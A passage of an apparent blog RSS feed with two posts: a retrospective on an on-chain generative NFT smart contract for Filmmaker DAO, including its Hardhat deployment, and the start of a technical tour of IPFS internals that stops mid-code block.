            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://etherscan.io/address/0x9213256fe89fa0428e8546910a8d78180dbbdc38">smart contract</a> i created two years ago for a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://opensea.io/collection/storyteller-card">nft collection</a> celebrating the sunset of <strong>filmmaker dao</strong>.</p><p>it was called the <strong>“storytelling card”</strong>, and folks were able to generate their unique nfts <em>on the fly</em> by inputting an <code>int</code> up to 1337:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ba8224c7ef01546a7b599f63bd78e99b2d35f7e8a1964bdc3cfeeca7f22631b0.png" alt=".the collection is still alive at generativestory.com." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.the collection is still alive at generativestory.com.</figcaption></figure><p>my contract was loosely based on the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.lootproject.com/">loot project</a>, and it deployed a (sort of) generative <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="">erc-721</a> collection in the ethereum mainnet (for the cost of ~$2k or so). <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/autistic-symposium/loot-storyteller-nft-collection-sol">here is the source code</a>.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/696d42b05183508b07800b96c1414e1ebf1b39d3a96efb63d0b52880eb426853.png" alt=".377 peeps hold my nft; that was pretty cool." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.377 peeps hold my nft; that was pretty cool.</figcaption></figure><p>it was a fun project 😊…</p><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/5NFZLpFoP4fVWjmc007A5k?si=cc2f1c312fcb4a32">https://open.spotify.com/track/5NFZLpFoP4fVWjmc007A5k?si=cc2f1c312fcb4a32</a></p><hr><h2 id="h-can-you-guess-how-these-nfts-were-generated-on-chain" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">can you guess how these nfts were generated on-chain?</h2><p>the idea of this collection was to create unique, randomized, and limitless narratives generated and stored on-chain, as a novel approach to storytelling.</p><p>here are some of my favorites:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/778f6c4c95db183cade0bb20eac6b1d6771c9c6f36ffd160bfa0c69496b056db.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/728035c2a00f367fb71eb1e6d16a3f5470e21eb1327b8864c86706e01aff1895.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d34e47f7a96d35fb3f8e7d9db95af20d6fdc6b5d69f464b06dbedcc1e44b0885.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b2c957a4487b199f3a679975352f02f027dc9716fc936352cfa4bbaabbbccdb0.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a85ace1c5ae6c0b529dc6605d8c29f50205ead1e6c31344a2f194a78a742fc25.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3b6f6e1985f75ac6bcc2b2df06ce34eb3908e5eb6342f542f8df467fe3e725f9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5ba3c84cfd3e51d2fbbd3180904857f358d71391eb212b86be49602d8ef38e2d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/fcad7f249e9a97b4eabac1399eaa36db164abe1ab92392fc4999bee156ae9220.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/533796e84eac47e7e72b030a2bd7dece92f5d71bced47ddd2cdae74042283c92.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>do you see the pattern?</p><p>if you are an engineer, could you guess how these cards were (pseudo-)randomly generated?</p><h2 id="h-the-smart-contract" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">the smart contract</h2><p>long story short, the dao was about to dissolve because our investor backed off. so this project was my farewell token for the community.</p><p>for this reason, i wanted the contract to be immutable and self-contained. there was no reason to deploy it on a proxy, because it wasn’t supposed to be upgraded. and… there was no payable function.</p><p>yeap, you read it right: the contract was not for profit. part of the narrative was that it was never meant to be cashed out (sort of an <strong>easter egg</strong> - but also the sort of thing you only do once in life and during a bull market…).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1f11d6fb3ba3379778e605c2f5eaf70e2b6954ff1065d86758a2e0d70cb74594.png" alt=".mev burning." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.mev burning.</figcaption></figure><p>i also remember that the contract size limit hit hard during my first attempt to deploy it to the ethereum mainnet (or when i was testing it on rinkeby). i had to move things around to fit the size limit of <strong>24577 bytes.</strong> i customized (and consequently, prettified) every canonical library before everything was imported.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3401ebdf950244cd23d591f01717d62e0c00fc6edd3d48f29c34779b2f94b648.png" alt=".note to self: stop slacking with the commit messages." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.note to self: stop slacking with the commit messages.</figcaption></figure><p>and, off-course, i needed a nice intro =p:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/428b642fd00e5ed9898efc7b0fc0291e6b26265fd2d9cfa0b90ce506f243a481.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>now, the contract was a pretty straightforward erc-721 instance, with the sale price intentionally hard-coded:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/587ab3a9cdd96589105e205658f861e142fe750f35d7b74d88b93d46e02acea9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the magick trick was carried out by ten arrays that would mesh together, creating the narratives: genres, medium, cities, archetypes, verbs, objects, titles, adjectives, locations, and, of course, colors.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e55352e3d0fb4350c6ce9bd1df0117e526fa256ec19486b2f71700ad322b319e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the pseudo-random function was very simple and predictable, with the <code>tokenID</code> as the input string:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8d354c2fe5fe2c463d3545bd627e16118c52ab8878bf66b123cfcd3004e85ee6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>to create a card’s generative SVG image on-chain, a function called <code>tokenURI</code> was crafted, outputting an array composed of one element of each of the sets above, plus some image customization (this part needed some work):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d1e3f909cfbcd6b23f57fc67dd4dc5870cc7e46b930c451aaf2eca07c63e6e03.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>the last pieces of the contract were the <code>mintCard</code> and <code>ownerClaim</code> methods:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b51ddce7cd825271d69d78c8fd15761876fbc394bbc3b063b30eb21c44ccab40.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-deploying-the-contract" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">deploying the contract</h2><p>at that time, <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/foundry-rs/foundry">foundry</a> wasn’t a thing, so i used <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://hardhat.org/">hardhat</a>.</p><p>here was the <code>config</code> file (with <code>PRIVATE_KEY</code> , <code>API_ENDPOINT</code>, <code>API_ETHERSCAN</code> in an <code>.env</code> file):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/1059a040ae3feb37fb6d33d000ba063f659d2f07a8e65f2c643a281faac9b9bc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>if you are not a blockchain developer, don’t worry, all you would need to do to compile the contract was:</p><pre data-type="codeBlock" text="npx hardhat compile
"><code>npx hardhat <span class="hljs-built_in">compile</span>
</code></pre><p>and then deploy with a simple javascript script:</p><pre data-type="codeBlock" text="npx hardhat run scripts/deploy.js
"><code>npx hardhat run scripts<span class="hljs-operator">/</span>deploy.js
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/49f170491ac888617944c651f05191831fca37678657811c60dfef78c4e255b0.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-another-easter-egg" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">another easter egg</h2><p>all right, here is some <em>teasing</em>, my dear anon.</p><p>if you are puzzled about how i ended up writing this collection for filmmaker dao, here is how everything started, during the bull of summer’21…</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://vimeo.com/638007916">https://vimeo.com/638007916</a></p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://story.mirror.xyz/gbwXf_IOm4BkUNmWYWz5M-47Te8ELuQngClR8iHFxDU">https://story.mirror.xyz/gbwXf_IOm4BkUNmWYWz5M-47Te8ELuQngClR8iHFxDU</a></p><p>crypto can be wild…</p><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/29692a988f3ad79acfdf7a98333372d1243bb42142dea6564a2d849fb829a61e.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[on uploading your soul to the interplanetary sys]]></title>
            <link>https://paragraph.com/@go-outside/on-uploading-your-soul-to-the-interplanetary-sys</link>
            <guid>Menx5jHrkPRMTv0hvqIb</guid>
            <pubDate>Sat, 03 Jun 2023 01:27:41 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over a deep tour on IPFS (an 8 years-old distributed filesystem based on - and the origin of - libp2p)..an old IPFS cli.in one sentence, IPFS is: a suite of protocols and specs for organizing|representing, and transferring|routing data through content addressing, which is mapped to peer addresses through a distributed hash table (DHT)..decentralized.the IPFS protocol is an alternative to location-based addressing (i.e., when a CDN serves HTTP requests), providing low-latency ...]]></description>
            <content:encoded><![CDATA[<h2 id="h-tl-dr" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">tl; dr</h2><p>today i go over a deep tour on <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://docs.ipfs.tech.ipns.localhost:8080/"><strong>IPFS</strong></a> (an 8 years-old <strong>distributed filesystem</strong> based on - and the origin of - <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="http://libp2p.io.ipns.localhost:8080/"><strong>libp2p</strong></a>).</p><hr><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/402ee1ea26847eab5ebcf94d38ae84a9115b477c996d5d47d929d2919cc8b570.png" alt=".an old IPFS cli." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.an old IPFS cli.</figcaption></figure><p>in one sentence, IPFS is:</p><p><strong><em>a suite of protocols and specs for organizing|representing, and transferring|routing data through content addressing, which is mapped to peer addresses through a distributed hash table (DHT).</em></strong></p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/15ef92b20e3096bcf6059c27b5707794c65b9e2afdac384ea06d35c6d9fd3364.png" alt=".decentralized." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.decentralized.</figcaption></figure><p>the IPFS protocol is an alternative to location-based addressing (<em>i.e.,</em> when a CDN serves HTTP requests), providing low-latency access to replicated data retrieved from multiple locations.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0455703aa82af4513f76d56edb869d5e7bb5cc198f63b12aa4db311a8d55efcb.png" alt=".centralized." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.centralized.</figcaption></figure><hr><h2 id="h-todays-motivation" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">💎 today’s motivation</h2><p>being a hacker for over two decades, i regret losing some of my work | history on the way because they were in some random cloud | third-party servers that are no longer available. when you create, you transfer part of your humanity | life-time to your creation, so losing that feels like <em>losing old photographs (</em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://coderwall.com/p/rnywsq/simple-online-security-guide">here</a> is a guide on tor and security i wrote a decade ago that it’s still up 🙂).</p><p>i also see a <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href=""><strong>cypherpunk future</strong></a> where IPFS is a main backbone of <strong>dweb(s)</strong>, securing individual’s data sovereignty. i invite you to be part of it.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/2366d844ae94b6bfb728a22b639d21b9acd1f49db5d309ff891cde57bc4190ec.png" alt=".http://protocol.ai.ipns.localhost:8080 (accessible while running a local IPFS node)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.http://protocol.ai.ipns.localhost:8080 (accessible while running a local IPFS node).</figcaption></figure><p>finally, this post was inspired by this tweet:</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/VitalikButerin/status/1660875485969100802">https://twitter.com/VitalikButerin/status/1660875485969100802</a></p><hr><h2 id="h-todays-outline" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">📺 today’s outline</h2><pre data-type="codeBlock" text="00. the ipfs protocol
            00.0000. UnixFS, MFS, IPLD
            00.0001. blocks, CID, multiformats
            00.0010. distributed hash table
            00.0011. bitswap 
            00.0100. IPNS 
            00.0101. gateways 

01. running a node
            01.0110. install &amp;&amp; setup
            01.0111. bootstrapping
            01.1000. adding objects
            01.1001. pinning objects
            01.1010. downloading objects
            01.1011. security &amp;&amp; privacy

10. final thoughts
            10.1100. the filecoin blockchain 
            10.1101. deploy a website in IPFS in 5 minutes
            10.1110. resources &amp;&amp; open questions
"><code>00. the ipfs protocol
            00<span class="hljs-number">.0000</span>. UnixFS, MFS, IPLD
            00<span class="hljs-number">.0001</span>. blocks, CID, multiformats
            00<span class="hljs-number">.0010</span>. distributed hash table
            00<span class="hljs-number">.0011</span>. bitswap 
            00<span class="hljs-number">.0100</span>. IPNS 
            00<span class="hljs-number">.0101</span>. gateways 

01. running a node
            01<span class="hljs-number">.0110</span>. install <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> setup
            01<span class="hljs-number">.0111</span>. bootstrapping
            01<span class="hljs-number">.1000</span>. adding objects
            01<span class="hljs-number">.1001</span>. pinning objects
            01<span class="hljs-number">.1010</span>. downloading objects
            01<span class="hljs-number">.1011</span>. security <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> privacy

<span class="hljs-number">10.</span> final thoughts
            <span class="hljs-number">10.1100</span>. the filecoin blockchain 
            <span class="hljs-number">10.1101</span>. deploy a website in IPFS in <span class="hljs-number">5</span> <span class="hljs-literal">minutes</span>
            <span class="hljs-number">10.1110</span>. resources <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> open questions
</code></pre><hr><h2 id="h-todays-mood" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">🎶 today’s mood</h2><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://open.spotify.com/track/3dIlvA01GpLLgUttlq1wVJ?si=3dd0a4fc7ba54c99">https://open.spotify.com/track/3dIlvA01GpLLgUttlq1wVJ?si=3dd0a4fc7ba54c99</a></p><hr><h2 id="h-00-the-ipfs-protocol" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">💾 00. the IPFS protocol</h2><h3 id="h-000000-unixfs-mfs-ipld" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">00.0000. UnixFS, MFS, IPLD</h3><p><em>you have some data you want to upload to IPFS: how does it become content addressed?</em></p><p>larger files are split into chunks of 256 KB (or 32 bytes, from default <code>SHA2-256</code> + <code>base32</code>, read on…), called <strong>IPFS objects</strong>, and each of these objects contains links to all the other objects corresponding to the original data.</p><p>using standards from the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.ipfs.tech/concepts/file-systems/#mutable-file-system-mfs"><strong>unix file system (UnixFS)</strong></a>, IPFS can chunk and link data too big to fit in a single block, and use the chunked representation to store and manage the data.</p><p>in addition, the <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.ipfs.tech/concepts/file-systems/"><strong>mutable file system (MFS)</strong></a> is a built-in tool that helps to address files as regular name-based filesystems, <em>i.e.,</em> by abstracting the work of updating the links and hashes when you edit, create, or remove objects.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b2c61c270c162b35c18eba11c5cbf3730c4c14bdfd13384ebab2a3cd4f1a1a66.png" alt=".chunking and fingerprinting your data." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.chunking and fingerprinting your data.</figcaption></figure><blockquote><p>💡 <em>UnixFS is a protocol-buffers (protobuf) based format for describing objects (i.e., files, directories, and symlinks) in IPFS.</em></p><p><em>this is how </em><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/ipfs/specs/blob/main/UNIXFS.md"><em>UnixfsV1</em></a><em> data structure looks like:</em></p><pre data-type="codeBlock" text="message Data {
    enum DataType {
        Raw = 0;
        Directory = 1;
        File = 2;
        Metadata = 3;
        Symlink = 4;
        HAMTShard = 5;
    }

    required DataType Type = 1;
    optional bytes Data = 2;
    optional uint64 filesize = 3;
    repeated uint64 blocksizes = 4;
    optional uint64 hashType = 5;
    optional uint64 fanout = 6;
    optional uint32 mode = 7;
    optional UnixTime mtime = 8;
}

message Metadata {
    optional string MimeType = 1;
}

message UnixTime {
    required int64 Seconds = 1;
    optional fixed32 FractionalNanoseconds = 2;
}
"><code>message Data {
    enum DataType {
        <span class="hljs-attr">Raw</span> = <span class="hljs-number">0</span><span class="hljs-comment">;</span>
        <span class="hljs-attr">Directory</span> = <span class="hljs-number">1</span><span class="hljs-comment">;</span>
        <span class="hljs-attr">File</span> = <span class="hljs-number">2</span><span class="hljs-comment">;</span>
        <span class="hljs-attr">Metadata</span> = <span class="hljs-number">3</span><span class="hljs-comment">;</span>
        <span class="hljs-attr">Symlink</span> = <span class="hljs-number">4</span><span class="hljs-comment">;</span>
        <span class="hljs-attr">HAMTShard</span> = <span class="hljs-number">5</span><span class="hljs-comment">;</span>
    }

    required DataType <span class="hljs-attr">Type</span> = <span class="hljs-number">1</span><span class="hljs-comment">;</span>
    optional bytes <span class="hljs-attr">Data</span> = <span class="hljs-number">2</span><span class="hljs-comment">;</span>
    optional uint64 <span class="hljs-attr">filesize</span> = <span class="hljs-number">3</span><span class="hljs-comment">;</span>
    repeated uint64 <span class="hljs-attr">blocksizes</span> = <span class="hljs-number">4</span><span class="hljs-comment">;</span>
    optional uint64 <span class="hljs-attr">hashType</span> = <span class="hljs-number">5</span><span class="hljs-comment">;</span>
    optional uint64 <span class="hljs-attr">fanout</span> = <span class="hljs-number">6</span><span class="hljs-comment">;</span>
    optional uint32 <span class="hljs-attr">mode</span> = <span class="hljs-number">7</span><span class="hljs-comment">;</span>
    optional UnixTime <span class="hljs-attr">mtime</span> = <span class="hljs-number">8</span><span class="hljs-comment">;</span>
}

message Metadata {
    optional string <span class="hljs-attr">MimeType</span> = <span class="hljs-number">1</span><span class="hljs-comment">;</span>
}

message UnixTime {
    required int64 <span class="hljs-attr">Seconds</span> = <span class="hljs-number">1</span><span class="hljs-comment">;</span>
    optional fixed32 <span class="hljs-attr">FractionalNanoseconds</span> = <span class="hljs-number">2</span><span class="hljs-comment">;</span>
}
</code></pre></blockquote><p>in this paradigm where “client/server” no longer holds up, an object divided into blocks by a <em>chunker</em> is arranged in a tree-like structure using link nodes to them together.</p><p>through the <strong>interplanetary linked data (IPLD)</strong>, a meta-format for encoding and decoding <strong>merkle-linked data</strong>, IPFS represents relationships between objects’ content-addressed data (such as file directories and symlinks).</p><blockquote><p>💡 a <em>merkle tree is a tree in which every node is labeled with the cryptographic hash of a data block, and every node that is not a leaf (branch or</em> <code>inode</code><em>) with the hash of the labels of its child nodes.</em></p></blockquote><p>more specifically, the chunked representation is used to store and manage data on a <strong>CID-based</strong> <strong>directed acyclic graph</strong> called <strong>merkle DAG</strong> (CID is IPFS’s content ID, an absolute pointer to content, explained in the next session).</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3707efe953d3485aa2e94cf79a94f6ed550e36c6ef570adbf5190f83b7f2a17d.png" alt=".chunking is important for deduplication and piecewise transfer and seeking." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.chunking is important for deduplication and piecewise transfer and seeking.</figcaption></figure><blockquote><p>💡 <em>merkle DAGs are similar to merkle trees, but there are no balance requirements, and every node can carry a payload.</em></p></blockquote><p>the returned CID is the hash of the root node in the DAG:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/65eeddcb622b93d28d8753ae757af96300e9912bb178d16c8e0f57d35d16403d.png" alt=".immutability propriety for hashes (and CIDs): when we change one node in the DAG, every upstream node will have their hashes changed (while A remains in the new DAG)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.immutability propriety for hashes (and CIDs): when we change one node in the DAG, every upstream node will have their hashes changed (while A remains in the new DAG).</figcaption></figure><hr><h3 id="h-000001-block-cid-multiformats" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">00.0001. block, CID, multiformats</h3><p>in IPFS, a block is a single unit of data associated with a unique and immutable content identifier representing the data itself (the hash + the codec of the data) as an address string.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0ddde1ddb7f4cb8a24c465d14692bfa67b962167eddf917ee7a9ad52da33e886.png" alt=".CID is a cryptographic hash to ensure data’s authenticity, integrity, and de-duplication (two identical files produce an identical CID)." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.CID is a cryptographic hash to ensure data’s authenticity, integrity, and de-duplication (two identical files produce an identical CID).</figcaption></figure><p>each block’s CID is calculated using <strong>multiformats,</strong> which combines the <strong>multihash</strong> (info on the hash algorithm) of the data plus its codec.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c6d48127fee744b5784bc18dcfdb2147057a681fae5f69acd0500c51be3fc564.png" alt=".for example, SHA2-256&apos;s code is 0x12, so &lt;0x12&gt;&lt;20&gt;&lt;hash digest&gt;." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">.for example, SHA2-256&apos;s code is 0x12, so &lt;0x12&gt;&lt;20&gt;&lt;hash digest&gt;.</figcaption></figure><p>speaking code, this is the structure that represents the above:</p><pre data-type="codeBlock" text="type DecodedMultihash struct {
   Code   uint64  --&gt; &lt;0x12 for SHA2-256&gt;
   Name   string  --&gt; &lt;SHA2-256&gt;
   Length int     --&gt; &lt;32 bytes&gt;
